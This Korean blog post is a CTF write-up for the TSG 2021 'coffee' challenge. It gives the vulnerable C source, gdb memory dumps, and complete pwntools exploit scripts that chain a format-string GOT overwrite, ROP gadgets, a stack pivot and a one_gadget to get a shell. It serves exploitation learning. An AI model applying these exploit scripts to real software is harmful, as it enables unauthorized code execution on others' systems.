TSG 2021 - Coffee

728x90

libc_base까지 구하고 printf를 한번만 써서 이 printf한번에 모든것을 해결해야한다.

puts_got를 main으로 덮던지 해서 다시 main을 실행시키고 다른 함수의(scanf) got를 덮으면 되는 문제였지만 그 이후 어떻게 할지 몰랐다

우선 여기까지는 내가 풀었던 Payload + 결과

libc_base주소는 구했음..ㅠㅠ

from pwn import *

#p = remote('34.146.101.4', 30002)
p = process('./coffee')
e = ELF('./coffee')
libc = ELF('./libc.so.6')
payload = "%29$p"+"AA"

one_gadget=[0xe6c7e, 0xe6c81, 0xe6c84]
p.sendline(payload)

libc_start_main = int(p.recvuntil('A')[:-1], 16)
libc_base = libc_start_main - libc.symbols['__libc_start_main']-243
one = libc_base + one_gadget[0]
print('libc_start_main: '+hex(libc_start_main))
print('libc_base: ' + hex(libc_base))
print('one_gadget: ' + hex(one))

p.interactive()

 

 

 

분석

#include <stdio.h>

int x = 0xc0ffee;
int main(void) {
    char buf[160];
    scanf("%159s", buf);
    if (x == 0xc0ffee) {
        printf(buf); // fsb
        x = 0;
    }
    puts("bye");
}

1. 159만큼 입력

2. 전역 변수 x가 0xc0ffee라면 입력한 값 print

3. if 문 안의 printf(buf)에서 fsb 버그 발생

 

fmtstr을 이용하여 puts의 got를 0xdeadbeef으로 변경하고 "A"*100을 payload로 보내봄

writes = {e.got['puts']: 0xdeadbeef}
payload = fmtstr_payload(6, writes, write_size="short")
payload += b"A"*100
gef➤  x/30gx $rsp
0x7ffc14e655c8:	0x0000000000401206	0x2563393738383425 <= rsp
0x7ffc14e655d8:	0x38256e6c6c243031	0x2431312563363231
0x7ffc14e655e8:	0x6162616161616e68	0x0000000000404018
0x7ffc14e655f8:	0x000000000040401a	0x4141414141414141 <= rsp+56
0x7ffc14e65608:	0x4141414141414141	0x4141414141414141
0x7ffc14e65618:	0x4141414141414141	0x4141414141414141
0x7ffc14e65628:	0x4141414141414141	0x4141414141414141
0x7ffc14e65638:	0x4141414141414141	0x4141414141414141
0x7ffc14e65648:	0x4141414141414141	0x4141414141414141
0x7ffc14e65658:	0x4141414141414141	0x0000000041414141
0x7ffc14e65668:	0x00000000004010b0	0x00007ffc14e65770
0x7ffc14e65678:	0x5e14c86f2e4eb900	0x0000000000000000
0x7ffc14e65688:	0x00007fb085f6c0b3	0x0000000100000001
0x7ffc14e65698:	0x00007ffc14e65778	0x000000018612d618
0x7ffc14e656a8:	0x0000000000401196	0x0000000000401230
gef➤  got

GOT protection: Partial RelRO | GOT functions: 4
 
[0x404018] puts@GLIBC_2.2.5  →  0xdeadbeef
[0x404020] __stack_chk_fail@GLIBC_2.4  →  0x401040
[0x404028] printf@GLIBC_2.2.5  →  0x7fb085fa9e10
[0x404030] __isoc99_scanf@GLIBC_2.7  →  0x7fb085fab230
gef➤  x/gx 0x40401a
0x40401a <puts@got.plt+2>:	0x104000000000dead

puts_got가 0xdead으로 변경 -> puts_got를 main이나 원하는 주소로 변경하여 다시 돌려야함

 

공격방법

libc가 주어졌으니 one_gadget으로 한방에 따거나 아니면 rop를 이용하는 방법

 

write-up을 보면 ROP Chain을 이용한다.

# scanf("%159s", 0x404880)
payload += p64(POPRDI)                    
payload += p64(0x403004) <= %s
payload += p64(POPRSI15)
payload += p64(0x404880) <= bss
payload += p64(0x0)    
payload += p64(e.plt["__isoc99_scanf"])

write-up을 보면 저기서 왜 0x403004를 쓰는지 몰랐다. 왜냐하면 바이너리를 분석하면 0x403004도 %159s이고, 0x402004도 %159s이기 때문. scanf("%s") = %s : char* 타입 문자열

하지만 0x402004를 쓰려고 해봤지만 scanf이 호출되지 않았다. 그 이유를 write-up 쓴분에게 물어봤더니 0x20 = space인데 이 부분때문에 안된다고 하였음.

 

또한 처음에 puts_got를 덮을때 0x401286주소를 사용

이 주소는 __libc_csu_init 안의 가젯의 주소

writes = {e.got['puts']: 0x401286}
payload = fmtstr_payload(6, writes, write_size="short")
0000000000401286                 add     rsp, 8
000000000040128A                 pop     rbx
000000000040128B                 pop     rbp
000000000040128C                 pop     r12
000000000040128E                 pop     r13
0000000000401290                 pop     r14
0000000000401292                 pop     r15

 

그래서 writeup의 과정을 보면

1.puts_got를 __libc_csu_init 안의 가젯으로 덮는다

2. puts를 이용하여 printf의 got 출력

3. scanf를 이용하여 원하는 주소에 입력을 받는다(bss)

4. stack pivot을 이용하여 bss영역으로 rsp를 옮긴다

5. /bin/sh와 system을 bss에 입력하여 실행

 

하지만 libc가 주어졌기 때문에 나는 one_gadget을 이용함

-----------------------------------------------------------------------------------------------------------------------------------

from pwn import *

p = process("./coffee", env={"LD_PRELOAD": "./libc.so.6"})
e = ELF('./coffee')
libc = ELF('./libc.so.6')
context.arch="amd64" # 이부분을 안하면 scanf로 넘어가지 않음

print(util.proc.pidof(p))
pause()

writes = {e.got['puts']: 0x401286}
payload = fmtstr_payload(6, writes, write_size="short") # %6$p = buf

POPRDI = 0x401293
POPRBP = 0x40117d
POPRSI15 = 0x401291
PUTSPLT = 0x401030
RET = 0x40101a
LEAVE = 0x000000000040121f
one_gadget = [0xe6c7e, 0xe6c81, 0xe6c84]

#padding
payload += p64(0xdeadbeef)

#puts(printf_got)
# 이부분에서 puts_plt를 안쓰는 이유는 위에서 puts_got를 이미 0x401286으로 덮었기 때문에
# puts_plt -> puts_got -> 0x401286
# 그렇기 때문에 0x401030을 쓴다
payload += p64(POPRDI)
payload += p64(e.got['printf'])
payload += p64(0x401030) # puts_got -> 0x401286, [0x404018] puts@GLIBC_2.2.5->0 x401030

#scanf("%159s", 0x404078)
payload += p64(POPRDI)
payload += p64(0x403004) # %159s, 0x402004 = "%159s" but 0x20 = space
payload += p64(POPRSI15)
payload += p64(e.bss()+0x20)
payload += p64(0)
payload += p64(e.plt['__isoc99_scanf'])

#stack pivot
payload += p64(POPRBP)
payload += p64(e.bss()+0x20-8)
payload += p64(LEAVE)

p.sendline(payload)

p.recvuntil(p32(0x40401800))

LEAK = p.recvline()
PRINTF = u64(LEAK[:-1].ljust(8, b"\x00"))
libc.address = PRINTF - libc.symbols["printf"]

log.info("PRINTF : %s" % hex(PRINTF))
log.info("LIBC : %s" % hex(libc.address))


p.sendline(p64(libc.address+one_gadget[1]))
p.interactive()

p.recvuntil(p32(0x40401800))인 이유

 

python ~~.py DEBUG 하면 디버깅 보여줌

Reference

https://kileak.github.io/ctf/2021/tsg-coffee/

728x90

'CTF 풀지못한 문제 - pwn' 카테고리의 다른 글

2021 HackTheBox - arachnoid_heaven  (0) 2021.12.20
2021 SECCON CTF - Kasu bof  (0) 2021.12.13
ACSC2021 - Histogram  (0) 2021.09.19